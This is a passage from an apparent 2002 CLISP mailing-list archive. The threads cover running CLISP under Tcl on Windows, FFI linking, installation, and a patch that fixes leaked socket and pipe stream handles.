v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 10 08:22:11 2002 X-Original-Date: 10 Jan 2002 11:21:13 -0500 > * In message <3.0.5.32.20020110110659.014a8e80@mail.int.isr.com> > * On the subject of "Re: [clisp-list] Running CLISP as a Subprocess of Tcl" > * Sent on Thu, 10 Jan 2002 11:06:59 -0500 > * Honorable Daniel Ozick writes: > > Thank you, Sam Steingold! welcome! > >> When we try this with CLISP 2.27, however, the following error message > >> appears: > >> > >> *** - Win32 error 5 (ERROR_ACCESS_DENIED): Access is denied. > > > >CLISP cannot open the console - no wonder, Tcl has it! > > > >> Can anyone help? Any suggestions or ideas will be greatly appreciated. > > > >try the appended patch. it will break WITH-KEYBOARD-INPUT, but you are > >not using it anyway, right? > > << > Index: stream.d > =================================================================== > RCS file: /cvsroot/clisp/clisp/src/stream.d,v > retrieving revision 1.246 > diff -u -w -b -u -b -w -i -B -r1.246 stream.d > --- stream.d 2002/01/07 21:41:36 1.246 > +++ stream.d 2002/01/09 23:44:35 > @@ -15185,7 +15185,7 @@ > # Initialize the *KEYBOARD-INPUT* stream. This can fail in some cases, > # therefore we do it after the standard streams are in place, so that > # the user will get a reasonable error message. > - #if defined(UNIX) || defined(RISCOS) > + #if 1 # defined(UNIX) || defined(RISCOS) > # Building the keyboard stream is a costly operation. Delay it > # until we really need it. > define_variable(S(keyboard_input),NIL); # *KEYBOARD-INPUT* > >> > > > Right, we are not using WITH-KEYBOARD-INPUT. However, rebuilding > CLISP is beyond my current capabilities. (I don't even have the full > source.) Is there a simple way to apply the patch without doing a > full build? If not, where do I start reading to learn how to do a > build? Depending on the complexity of rebuilding and the tools > necessary, I may decide to work around the problem in some other way, > since building CLISP is certainly a major diversion from the task at > hand. your options are: - use sockets: this way CLISP and Tcl will be able to run on different machines. this is reliable and easy. really. _much_ better than pipes! Note the security issues though: Tcl will have to authenticate itself to CLISP (or you have to restrict connections). - go to and get the CLISP source distribution. go to and get Cygwin, _or_ install MSVC. then it is quite straitforward to build CLISP. (MSVC: copy win32msvc/Makefile.msvc5 src/; cd src; nmake) (Cygwin: ./configure --build build) -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! My other CAR is a CDR. From samuel.steingold@verizon.net Thu Jan 10 08:49:55 2002 Received: from [206.46.170.239] (helo=pop012pub.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16OiOp-0006Fy-00 for ; Thu, 10 Jan 2002 08:49:55 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by pop012pub.verizon.net with ESMTP ; id g0AGnc9U000430 Thu, 10 Jan 2002 10:49:39 -0600 (CST) To: Daniel Ozick Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Running CLISP as a Subprocess of Tcl References: <3.0.5.32.20020109165909.014a59f0@mail.int.isr.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3.0.5.32.20020109165909.014a59f0@mail.int.isr.com> Message-ID: Lines: 37 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 10 08:50:09 2002 X-Original-Date: 10 Jan 2002 11:49:23 -0500 > * In message <3.0.5.32.20020109165909.014a59f0@mail.int.isr.com> > * On the subject of "[clisp-list] Running CLISP as a Subprocess of Tcl" > * Sent on Wed, 09 Jan 2002 16:59:09 -0500 > * Honorable Daniel Ozick writes: > > We have a small GUI built in Tcl/Tk under Windows-NT and would like to run > CLISP as a child process to perform some computation. Currently, we use > this architecture to run a C++ executable (Win32 console app) as a child > process of Tcl. The Tcl code looks something like this: > > set interface_pipe [open "|program" r+] > > Through 'interface_pipe', we can send input to 'program' stdin and get > output from 'program' stdout. When we try this with CLISP 2.27, however, > the following error message appears: > > *** - Win32 error 5 (ERROR_ACCESS_DENIED): Access is denied. as I said, this is because of the console permissions. note that CLISP runs just fine under Emacs (using inf-lisp.el), so this is not "just a CLISP problem". you might actually be using a wrong Tcl interface. I conclude this from the fact that I cannot send input to CLISP (even when I patch it and it starts fine) - it does not see what I send to it with `puts'. I think [open "|program" r+] creates a 1-directional pipe instead of a bi-directional one. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! If brute force does not work, you are not using enough. From abramson@aic.nrl.navy.mil Thu Jan 10 10:32:25 2002 Received: from sun0.aic.nrl.navy.mil ([132.250.84.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Ojzr-0002iv-00 for ; Thu, 10 Jan 2002 10:32:16 -0800 Received: from sun23.aic.nrl.navy.mil (sun23.aic.nrl.navy.mil [132.250.84.33]) by sun0.aic.nrl.navy.mil (8.9.3+Sun/8.9.3) with ESMTP id NAA01808 for ; Thu, 10 Jan 2002 13:30:30 -0500 (EST) Received: (from abramson@localhost) by sun23.aic.nrl.navy.mil (8.10.2+Sun/8.10.2) id g0AIUUi00968; Thu, 10 Jan 2002 13:30:30 -0500 (EST) To: clisp-list@lists.sourceforge.net Reply-To: mabramso@gmu.edu From: myriam Message-ID: Lines: 20 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] FFI newbie question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 10 10:33:02 2002 X-Original-Date: 10 Jan 2002 13:30:30 -0500 Hi! I'm a little confused with the FFI. I have a c program to load that's comprised of several c files. In Allegro, I would link them together and load one .so file. In Clisp, do I have to create separate module-sets and add them separately to the lisp image? All the examples in the modules directory have just one .c file. I am mainly looking at the documentation located in impnotes.html#dffi. Please let me know of other documentation and examples on FFI in clisp. Thanks, myriam From samuel.steingold@verizon.net Thu Jan 10 11:01:07 2002 Received: from [206.46.170.234] (helo=pop007pub.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16OkRm-0008Su-00 for ; Thu, 10 Jan 2002 11:01:06 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by pop007pub.verizon.net with ESMTP ; id g0AJ0s79003512 Thu, 10 Jan 2002 13:00:55 -0600 (CST) To: mabramso@gmu.edu Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] FFI newbie question References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 10 11:02:02 2002 X-Original-Date: 10 Jan 2002 14:00:33 -0500 > * In message > * On the subject of "[clisp-list] FFI newbie question" > * Sent on 10 Jan 2002 13:30:30 -0500 > * Honorable myriam writes: > > In Clisp, do I have to create separate module-sets and add them > separately to the lisp image? All the examples in the modules > directory have just one .c file. no, you can have many *.c files - just all them to NEW_LIBS and NEW_FILES in link.sh. (see examples at the and of the dffi section in the impnotes) -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! The paperless office will become a reality soon after the paperless toilet. From dozick@irobot.com Thu Jan 10 12:14:06 2002 Received: from firewallt1.irobot.com ([64.69.114.94] helo=mammoth.int.isr.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16OlaO-0001wb-00 for ; Thu, 10 Jan 2002 12:14:04 -0800 Received: from cyclops (dhcp-95.int.isr.com [192.168.56.95]) by mammoth.int.isr.com (Postfix) with SMTP id 5E464BCFC; Thu, 10 Jan 2002 15:14:02 -0500 (EST) Message-Id: <3.0.5.32.20020110151519.014acec0@mail.int.isr.com> X-Sender: dozick@mail.int.isr.com X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) To: sds@gnu.org From: Daniel Ozick Subject: Re: [clisp-list] Running CLISP as a Subprocess of Tcl Cc: clisp-list@lists.sourceforge.net In-Reply-To: References: <3.0.5.32.20020109165909.014a59f0@mail.int.isr.com> <3.0.5.32.20020109165909.014a59f0@mail.int.isr.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 10 12:18:07 2002 X-Original-Date: Thu, 10 Jan 2002 15:15:19 -0500 At 11:49 AM 1/10/02 -0500, Sam Steingold wrote: >> * In message <3.0.5.32.20020109165909.014a59f0@mail.int.isr.com> >> * On the subject of "[clisp-list] Running CLISP as a Subprocess of Tcl" >> * Sent on Wed, 09 Jan 2002 16:59:09 -0500 >> * Honorable Daniel Ozick writes: >> >> We have a small GUI built in Tcl/Tk under Windows-NT and would like to run >> CLISP as a child process to perform some computation. Currently, we use >> this architecture to run a C++ executable (Win32 console app) as a child >> process of Tcl. The Tcl code looks something like this: >> >> set interface_pipe [open "|program" r+] >> >> Through 'interface_pipe', we can send input to 'program' stdin and get >> output from 'program' stdout. When we try this with CLISP 2.27, however, >> the following error message appears: >> >> *** - Win32 error 5 (ERROR_ACCESS_DENIED): Access is denied. > >as I said, this is because of the console permissions. > >note that CLISP runs just fine under Emacs (using inf-lisp.el), so this >is not "just a CLISP problem". We use CLISP under Emacs as well. >you might actually be using a wrong Tcl interface. > >I conclude this from the fact that I cannot send input to CLISP (even >when I patch it and it starts fine) - it does not see what I send to it >with `puts'. > >I think [open "|program" r+] creates a 1-directional pipe instead of a >bi-directional one. As I mentioned, we use exactly this Tcl interface with other programs, and it works bidirectionally. Here's something you can try to prove out the pipe if you've got Cygwin tools (or equivalent). % set a [open "|cat" r+] file9d9e00 % puts $a "Hello" % flush $a % gets $a Hello Daniel N. Ozick Lead Software Engineer iRobot Corporation Twin City Office Center, Suite 6 22 McGrath Highway Somerville, MA 02143 Voice: (617) 629-0055 x285 Fax: (617) 629-0126 E-mail: dozick@irobot.com Web: http://www.irobot.com From samuel.steingold@verizon.net Thu Jan 10 12:42:57 2002 Received: from out003pub.verizon.net ([206.46.170.103]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Om2K-0000k4-00 for ; Thu, 10 Jan 2002 12:42:56 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by out003pub.verizon.net with ESMTP ; id g0AKgiG23615 Thu, 10 Jan 2002 14:42:45 -0600 (CST) To: Daniel Ozick Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Running CLISP as a Subprocess of Tcl References: <3.0.5.32.20020109165909.014a59f0@mail.int.isr.com> <3.0.5.32.20020109165909.014a59f0@mail.int.isr.com> <3.0.5.32.20020110151519.014acec0@mail.int.isr.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3.0.5.32.20020110151519.014acec0@mail.int.isr.com> Message-ID: Lines: 45 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 10 12:43:04 2002 X-Original-Date: 10 Jan 2002 15:42:18 -0500 > * In message <3.0.5.32.20020110151519.014acec0@mail.int.isr.com> > * On the subject of "Re: [clisp-list] Running CLISP as a Subprocess of Tcl" > * Sent on Thu, 10 Jan 2002 15:15:19 -0500 > * Honorable Daniel Ozick writes: > > At 11:49 AM 1/10/02 -0500, Sam Steingold wrote: > >> *** - Win32 error 5 (ERROR_ACCESS_DENIED): Access is denied. > >as I said, this is because of the console permissions. > > > >note that CLISP runs just fine under Emacs (using inf-lisp.el), so this > >is not "just a CLISP problem". > > We use CLISP under Emacs as well. good - so you can see that CLISP _can_ work under another program! can Tcl avoid grabbing the console? > % flush $a aha! - this is was was missing! % set c "d:/gnu/clisp/current/src/lisp.exe -B d:/gnu/clisp/current/src -q -M d:/gnu/clisp/current/src/lispinit.mem -norc" d:/gnu/clisp/current/src/lisp.exe -B d:/gnu/clisp/current/src -q -M d:/gnu/clisp/current/src/lispinit.mem -norc % set a [open "|$c" r+] filecb9ec0 % puts $a "(1+ 10)" % puts $a "(bye)" % flush $a % read $a [1]> 11 [2]> % so my patch does fix the problem. I am not sure I want to put it in though... -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! We're too busy mopping the floor to turn off the faucet. From samuel.steingold@verizon.net Thu Jan 10 14:08:18 2002 Received: from smtp005pub.verizon.net ([206.46.170.184]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16OnMv-0004dW-00 for ; Thu, 10 Jan 2002 14:08:17 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by smtp005pub.verizon.net with ESMTP ; id g0AM88714808 Thu, 10 Jan 2002 16:08:10 -0600 (CST) To: Daniel Ozick Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Running CLISP as a Subprocess of Tcl References: <3.0.5.32.20020109165909.014a59f0@mail.int.isr.com> <3.0.5.32.20020109165909.014a59f0@mail.int.isr.com> <3.0.5.32.20020110151519.014acec0@mail.int.isr.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3.0.5.32.20020110151519.014acec0@mail.int.isr.com> Message-ID: Lines: 32 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 10 14:09:03 2002 X-Original-Date: 10 Jan 2002 17:07:35 -0500 > * In message <3.0.5.32.20020110151519.014acec0@mail.int.isr.com> > * On the subject of "Re: [clisp-list] Running CLISP as a Subprocess of Tcl" > * Sent on Thu, 10 Jan 2002 15:15:19 -0500 > * Honorable Daniel Ozick writes: > > At 11:49 AM 1/10/02 -0500, Sam Steingold wrote: > > > >note that CLISP runs just fine under Emacs (using inf-lisp.el), so this > >is not "just a CLISP problem". > > We use CLISP under Emacs as well. Perl, which comes with Cygwin, also has no problems: my $clisp="d:/gnu/clisp/current/src/lisp.exe -B d:/gnu/clisp/current/src -q -M d:/gnu/clisp/current/src/lispinit.mem -norc"; open(CLISP,"|$clisp"); print CLISP "(! 10)\n*KEYBOARD-INPUT*\n(bye)\n"; close(CLISP); [1]> 3628800 [2]> # maybe you should report this as a Tcl bug? -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Lisp suffers from being twenty or thirty years ahead of time. From lange@maine.edu Thu Jan 10 14:56:18 2002 Received: from valen.gwi.net ([207.5.128.33]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Oo7N-0007hV-00 for ; Thu, 10 Jan 2002 14:56:17 -0800 Received: from lange (d-216-195-149-49.gwi.net [216.195.149.49]) by valen.gwi.net (8.11.6/8.11.6) with SMTP id g0AMuE307063 for ; Thu, 10 Jan 2002 17:56:14 -0500 (EST) From: "Gail L. Lange" To: Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Subject: [clisp-list] installing clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 10 14:57:02 2002 X-Original-Date: Thu, 10 Jan 2002 17:58:08 -0500 Hi I send you an email about the install.lisp causing problems when I tried to run install.bat for win2k: "I downloaded the binary clisp-2.27 for win and ran the install.bat and got the error message" > [pathname.d:6610] > *** - Win32 error 2 find the file specified. > ******************* ***************************************** You responded: you are using the hard-coded desktop location which is correct for winnt but wrong for w2k. this was fixed on 2001-08-16. please use the CVS () to get the current version of install.lisp and try again. ******************* ***************************************** NEW QUESTION: So I went to this link and from there Project Home CVS browsing (there was no other place that seemed appropriate) but I found nothing. So how do I use CVS to get the current version of install.lisp Thanks, Gail From tas@webspan.net Thu Jan 10 20:20:41 2002 Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16OtBI-0000Ht-00 for ; Thu, 10 Jan 2002 20:20:40 -0800 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id XAA31880; Thu, 10 Jan 2002 23:19:01 -0500 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: clisp-list@lists.sourceforge.net From: Todd Sabin Message-ID: Lines: 184 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] socket and pipe streams leak handles if not explicitly closed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 10 20:21:07 2002 X-Original-Date: 10 Jan 2002 23:19:01 -0500 If I do (defun foo () (socket-connect 80 "www.yahoo.com") (socket-server 8000) (values)) (foo) and then (gc) the socket server handle is closed, but the client socket handle is not. The same is true for streams obtained from socket-accept and all flavors of pipe streams. Unless they are explicitly closed, the handles are lost during gc. The problem is that gc only calls builtin_stream_close for streams that are on the open_files list, and none of the above are put on it when created. Below is a possible patch which appears to resolve this for me. (I'm not sure about the STACK change to make_printer_stream, but I think it's right.) In the process of figuring this out, I also noticed that streams are only removed from the open_files list if they happen to be buffered. The patch also fixes that. Todd diff -u -r1.246 stream.d --- stream.d 2002/01/07 21:41:36 1.246 +++ stream.d 2002/01/11 02:57:47 @@ -5808,6 +5808,18 @@ return stream; } +# UP: add a stream to the list of open streams (open_files) +# add_to_open_streams() +# > stream +# can trigger GC +local object add_to_open_streams (object stream) { + pushSTACK(stream); + var object new_cons = allocate_cons(); + Car(new_cons) = stream = popSTACK(); + Cdr(new_cons) = O(open_files); + O(open_files) = new_cons; + return stream; +} # File-Stream # =========== @@ -7667,13 +7679,8 @@ } skipSTACK(3); # extend List of open File-Streams by stream: - pushSTACK(stream); - { - var object new_cons = allocate_cons(); - Car(new_cons) = stream = popSTACK(); - Cdr(new_cons) = O(open_files); - O(open_files) = new_cons; - } + stream = add_to_open_streams(stream); + # treat Mode :APPEND: # CLHS says that :APPEND implies that "the file pointer is _initially_ # positioned at the end of the file". Note that this is different from @@ -7876,8 +7883,6 @@ ChannelStream_fini(stream); # make Components invalid (close_dummys comes later): closed_buffered(stream); - # remove stream from the List of all open File-Streams: - O(open_files) = deleteq(O(open_files),stream); } # (SYS::FILE-STREAM-P stream) == (TYPEP stream 'FILE-STREAM) @@ -10467,16 +10472,7 @@ # Returns an interactive Terminal-Stream. # can trigger GC local object make_terminal_stream (void) { - var object stream = make_terminal_stream_(); - # extend List of open Streams by stream: - pushSTACK(stream); - { - var object new_cons = allocate_cons(); - Car(new_cons) = stream = popSTACK(); - Cdr(new_cons) = O(open_files); - O(open_files) = new_cons; - } - return stream; + return add_to_open_streams (make_terminal_stream_ ()); } @@ -13381,7 +13377,6 @@ # UP: Returns a Printer-Stream. # can trigger GC local object make_printer_stream (void) { - pushSTACK(allocate_cons()); # Cons for List pushSTACK(allocate_handle(Handle_NULL)); # Handle-Wrapping var object stream = # new Stream, only WRITE-CHAR allowed allocate_stream(strmflags_wr_ch_B,strmtype_printer,strm_len+1,0); @@ -13398,12 +13393,7 @@ TheStream(stream)->strm_wr_ch_array = P(wr_ch_array_dummy); TheStream(stream)->strm_printer_handle = popSTACK(); # extend List of open Streams by stream: - { - var object new_cons = popSTACK(); - Car(new_cons) = stream; - Cdr(new_cons) = O(open_files); - O(open_files) = new_cons; - } + stream = add_to_open_streams (stream); clr_break_sem_4(); return stream; } @@ -13638,7 +13628,7 @@ ChannelStreamLow_close(stream) = &low_close_pipe; TheStream(stream)->strm_pipe_pid = popSTACK(); # Child-Pid skipSTACK(4); - value1 = stream; mv_count=1; # stream as value + value1 = add_to_open_streams (stream); mv_count=1; # stream as value } @@ -13851,7 +13841,7 @@ ChannelStreamLow_close(stream) = &low_close_pipe; TheStream(stream)->strm_pipe_pid = popSTACK(); # Child-Pid skipSTACK(4); - value1 = stream; mv_count=1; # stream as value + value1 = add_to_open_streams (stream); mv_count=1; # stream as value } #ifdef PIPES2 @@ -14039,7 +14029,7 @@ } ChannelStreamLow_close(stream) = &low_close_pipe; TheStream(stream)->strm_pipe_pid = STACK_2; # Child-Pid - STACK_1 = stream; + STACK_1 = add_to_open_streams (stream); } # allocate Output-Stream: { @@ -14058,7 +14048,7 @@ } ChannelStreamLow_close(stream) = &low_close_pipe; TheStream(stream)->strm_pipe_pid = STACK_2; # Child-Pid - STACK_0 = stream; + STACK_0 = add_to_open_streams (stream); } #ifdef EMUNIX # combine both pipes, for frictionless close: @@ -14708,8 +14698,9 @@ value1 = make_socket_stream(handle,&eltype,buffered, TheSocketServer(STACK_3)->host, TheSocketServer(STACK_3)->port); - mv_count = 1; skipSTACK(4); + value1 = add_to_open_streams (value1); + mv_count = 1; } local struct timeval * sec_usec (object sec, object usec, struct timeval *tv) { @@ -14800,6 +14791,8 @@ asciz_to_string(hostname,O(misc_encoding)), STACK_4); skipSTACK(5); + # extend List of open Streams by stream: + value1 = add_to_open_streams (value1); mv_count = 1; } @@ -15949,6 +15942,8 @@ else close_ichannel(stream); } + # remove stream from the List of all open File-Streams: + O(open_files) = deleteq(O(open_files),stream); break; #ifdef SOCKET_STREAMS case strmtype_twoway_socket: From tas@webspan.net Thu Jan 10 20:20:47 2002 Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Ot9w-0000JK-00 for ; Thu, 10 Jan 2002 20:19:16 -0800 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id XAA31883; Thu, 10 Jan 2002 23:19:09 -0500 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-streams vs. two-way streams References: From: Todd Sabin In-Reply-To: (Sam Steingold's message of "07 Jan 2002 13:47:17 -0500") Message-ID: Lines: 100 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jan 10 20:21:08 2002 X-Original-Date: 10 Jan 2002 23:19:09 -0500 Sam Steingold writes: > > > you are on your own here. sorry. > > > > On my own as in, I've got to figure it out, but you'd (maybe) accept > > a patch if I do it? > > yep. "maybe" depends on how clean the patch is, and, most of all, on > your commitment to supporting it (for the rest of your earthly existence > and beyond it :-) > Heh, well, let me see if I can figure it out first. > > Unix domain sockets are not just special files in the filesystem and > > trying to treat them that way is the wrong approach, IMO. Even if you > > overcome the S_ISSOCK() issue, how are you going to know whether it's > > a STREAM or DGRAM socket? I guess you could just try both, but that's > > rather kludgy. And what about acting as a server with unix domain > > sockets? How would you accept connections from a file? > > how would you like to do this? > maybe we should unify the internet sockets with the unix sockets. > like, SOCKET-CONNECT, when PORT is a string, will interpret it as a > unix socket path... > I haven't looked at db-sockets much yet, but from what little I understand of it, I think it's got the right idea. I.e., just expose the socket api calls to lisp, and then build on top of those in lisp. In clisp, that would mean adding a new gc'd lisp object, Socket, and functions socket, bind, setsockopt, accept, ioctl(!), connect, etc. and some stuff for resolving names. Then you have to add something like cmucl's make-fd-stream which gives you a stream from a SOCK_STREAM socket. Once that's done, I think most of the existing socket.d could be redone in lisp. You can build friendly functions on top of it, e.g., socket-connect could be done something like (defun socket-connect (port host ...) (let ((sock (socket :PF_INET :STREAM)) (addr (make-addr (resolv host) port))) (connect sock addr) (make-socket-stream sock))) and people who want to (like me) can get grungy with the low level stuff. socket-status would be modified to support socket-streams and plain old sockets. Anyway, that's my Blue Sky thinking at the moment. From the sounds of the clocc list, db-sockets might just be portable to clisp. (I'm still trying to figure out how all those pieces fit together.) I imagine that socket-status wouldn't work in that scenario without some surgery, though. I guess I need to take a good look at db-sockets... > > I saw that, but found the documentation confusing. Particularly, > > > > "Note that this function never waits for input or output to arrive, ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > > only for information on input or output presense ... to become > > available." > > > > which makes it sound like the function will return once it can figure > > out that there is no input or output data present anywhere. I want to > > block until data is available (or timeout). Am I misunderstanding the > > docs? > > note the &OPTIONAL [seconds [microseconds]] args. > if SECONDS is NIL, it will block indefinitely, otherwise, it will wait > for this much time. I think the docs could be clearer, particulary the part I marked above. Perhaps just saying it exposes select(2) would be sufficient. > > Also, is there a reason that it should only work with socket-streams? > > Wouldn't it be a good thing for it to work on pipe-io-streams, too? > > (Perhaps it already does, I haven't checked.) > > please do check. i believe it should work. if it doesn't - send a > patch. It doesn't work. It complains that it's not a socket-stream. No patch at the moment, maybe later. > I am sorry if I sound like "do it yourself of f..k off" dork. > I _am_ overworked, and have a lot on my plate now (and I have a family, > and I am not paid for CLISP). > I also gladly accept patches. No problem. I don't mind and completely understand that you don't want to implement things yourself just because I'm asking for them. I was just getting the impression that you didn't want the stuff, even if _I_ implemented it, which was puzzling. Todd From amoroso@mclink.it Fri Jan 11 02:39:24 2002 Received: from net128-053.mclink.it ([195.110.128.53] helo=mail.mclink.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16Oz5e-0002fT-00 for ; Fri, 11 Jan 2002 02:39:21 -0800 Received: from net145-003.mclink.it (net145-003.mclink.it [195.110.145.3]) by mail.mclink.it (8.11.0/8.9.0) with SMTP id g0BAd8J15857 for ; Fri, 11 Jan 2002 11:39:08 +0100 (CET) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Running CLISP as a Subprocess of Tcl Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: <3.0.5.32.20020109165909.014a59f0@mail.int.isr.com> In-Reply-To: <3.0.5.32.20020109165909.014a59f0@mail.int.isr.com> X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 11 02:40:02 2002 X-Original-Date: Fri, 11 Jan 2002 11:35:55 +0100 On Wed, 09 Jan 2002 16:59:09 -0500, Daniel Ozick wrote: > We have a small GUI built in Tcl/Tk under Windows-NT and would like to run > CLISP as a child process to perform some computation. Currently, we use You may check the page about lisp2wish at CLiki: http://ww.telent.net/cliki/ Paolo -- EncyCMUCLopedia * Extensive collection of 